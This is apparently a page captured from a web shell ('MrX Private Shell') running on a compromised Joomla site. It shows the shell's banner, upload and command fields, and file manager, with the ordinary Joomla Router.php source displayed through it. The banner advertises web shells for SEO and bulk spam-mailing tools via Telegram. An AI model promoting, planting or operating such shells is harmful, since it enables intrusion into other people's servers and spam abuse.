__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Router Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Router;

/**
 * A path router.
 *
 * @since  1.0
 */
class Router implements RouterInterface, \Serializable
{
    /**
     * An array of Route objects defining the supported paths.
     *
     * @var    Route[]
     * @since  2.0.0
     */
    protected $routes = [];

    /**
     * Constructor.
     *
     * @param   Route[]|array[]  $routes  A list of route maps or Route objects to add to the router.
     *
     * @since   1.0
     */
    public function __construct(array $routes = [])
    {
        if (!empty($routes)) {
            $this->addRoutes($routes);
        }
    }

    /**
     * Add a route to the router.
     *
     * @param   Route  $route  The route definition
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function addRoute(Route $route): RouterInterface
    {
        $this->routes[] = $route;

        return $this;
    }

    /**
     * Add an array of route maps or objects to the router.
     *
     * @param   Route[]|array[]  $routes  A list of route maps or Route objects to add to the router.
     *
     * @return  $this
     *
     * @since   2.0.0
     * @throws  \UnexpectedValueException  If missing the `pattern` or `controller` keys from the mapping array.
     */
    public function addRoutes(array $routes): RouterInterface
    {
        foreach ($routes as $route) {
            if ($route instanceof Route) {
                $this->addRoute($route);
            } else {
                // Ensure a `pattern` key exists
                if (! array_key_exists('pattern', $route)) {
                    throw new \UnexpectedValueException('Route map must contain a pattern variable.');
                }

                // Ensure a `controller` key exists
                if (! array_key_exists('controller', $route)) {
                    throw new \UnexpectedValueException('Route map must contain a controller variable.');
                }

                // If defaults, rules have been specified, add them as well.
                $defaults = $route['defaults'] ?? [];
                $rules    = $route['rules'] ?? [];
                $methods  = $route['methods'] ?? ['GET'];

                $this->addRoute(new Route($methods, $route['pattern'], $route['controller'], $rules, $defaults));
            }
        }

        return $this;
    }

    /**
     * Get the routes registered with this router.
     *
     * @return  Route[]
     *
     * @since   2.0.0
     */
    public function getRoutes(): array
    {
        return $this->routes;
    }

    /**
     * Parse the given route and return the information about the route, including the controller assigned to the route.
     *
     * @param   string  $route   The route string for which to find and execute a controller.
     * @param   string  $method  Request method to match, should be a valid HTTP request method.
     *
     * @return  ResolvedRoute
     *
     * @since   1.0
     * @throws  Exception\MethodNotAllowedException if the route was found but does not support the request method
     * @throws  Exception\RouteNotFoundException if the route was not found
     */
    public function parseRoute($route, $method = 'GET')
    {
        $method = strtoupper($method);

        // Get the path from the route and remove and leading or trailing slash.
        $route = trim(parse_url($route, PHP_URL_PATH), ' /');

        // Iterate through all of the known routes looking for a match.
        foreach ($this->routes as $rule) {
            if (preg_match($rule->getRegex(), $route, $matches)) {
                // Check if the route supports this method
                if (!empty($rule->getMethods()) && !\in_array($method, $rule->getMethods())) {
                    throw new Exception\MethodNotAllowedException(
                        array_unique($rule->getMethods()),
                        sprintf('Route `%s` does not support `%s` requests.', $route, strtoupper($method)),
                        405
                    );
                }

                // If we have gotten this far then we have a positive match.
                $vars = $rule->getDefaults();

                foreach ($rule->getRouteVariables() as $i => $var) {
                    $vars[$var] = $matches[$i + 1];
                }

                return new ResolvedRoute($rule->getController(), $vars, $route);
            }
        }

        throw new Exception\RouteNotFoundException(sprintf('Unable to handle request for route `%s`.', $route), 404);
    }

    /**
     * Add a GET route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function get(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['GET'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a POST route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function post(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['POST'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a PUT route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function put(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['PUT'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a DELETE route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function delete(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['DELETE'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a HEAD route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function head(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['HEAD'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a OPTIONS route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function options(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['OPTIONS'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a TRACE route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function trace(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['TRACE'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a PATCH route to the router.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function patch(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route(['PATCH'], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Add a route to the router that accepts all request methods.
     *
     * @param   string  $pattern     The route pattern to use for matching.
     * @param   mixed   $controller  The controller to map to the given pattern.
     * @param   array   $rules       An array of regex rules keyed using the route variables.
     * @param   array   $defaults    An array of default values that are used when the URL is matched.
     *
     * @return  $this
     *
     * @since   2.0.0
     */
    public function all(string $pattern, $controller, array $rules = [], array $defaults = []): RouterInterface
    {
        return $this->addRoute(new Route([], $pattern, $controller, $rules, $defaults));
    }

    /**
     * Serialize the router.
     *
     * @return  string  The serialized router.
     *
     * @since   2.0.0
     */
    public function serialize()
    {
        return serialize($this->__serialize());
    }

    /**
     * Serialize the router.
     *
     * @return  array  The data to be serialized
     *
     * @since   2.0.0
     */
    public function __serialize()
    {
        return [
            'routes' => $this->routes,
        ];
    }

    /**
     * Unserialize the router.
     *
     * @param   string  $serialized  The serialized router.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function unserialize($serialized)
    {
        $this->__unserialize(unserialize($serialized));
    }

    /**
     * Unserialize the router.
     *
     * @param   array  $data  The serialized router.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function __unserialize(array $data)
    {
        $this->routes = $data['routes'];
    }
}

Filemanager

Name Type Size Permission Actions
Command Folder 0775
Exception Folder 0775
ResolvedRoute.php File 1.84 KB 0664
Route.php File 10.49 KB 0664
Router.php File 11.78 KB 0664
RouterInterface.php File 6.99 KB 0664
Filemanager